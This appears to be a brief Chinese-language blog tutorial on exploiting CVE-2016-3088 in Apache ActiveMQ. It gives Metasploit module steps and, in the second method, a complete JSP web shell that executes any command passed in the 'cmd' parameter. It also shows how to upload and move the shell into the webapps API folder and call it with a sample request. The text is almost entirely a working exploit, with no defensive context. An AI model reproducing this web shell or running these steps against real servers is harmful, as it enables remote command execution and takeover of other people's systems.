CVE-2016-3088漏洞利用

方法一：使用metasploit

1、查找漏洞

search CVE-2016-3088
#### 2、使用该模块
这里就一个模块，直接使用就行了
use 0

3、设置参数

1、show options 2、set RHOSTS 192.168.0.1(你自己ip)

4、成功利用

方法二：burpsuit抓包

1、上传webshell

192.168.142.132:8161/fileserver/

<%@ page import= "java.io.*"%>
<%
out.print("Hello</br>");
String strcmd= request.getParameter("cmd");
String line= null;
Process p= Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line= br.readLine())!= null){
 out.print(line+" </br>");
}
%>

2、将其移至/opt/activemq/webapps/api/s.jspWeb 目录中的 API 文件夹

Destination: file:///opt/activemq/webapps/api/1.jsp

http://192.168.142.132:8161/api/1.jsp?cmd=ls

注：这是我的报错原因和解决方法，如有冒犯和错误，请及时告知

文章借鉴https://www.bilibili.com/video/BV1844y1s78r?spm_id_from=333.337.search-card.all.click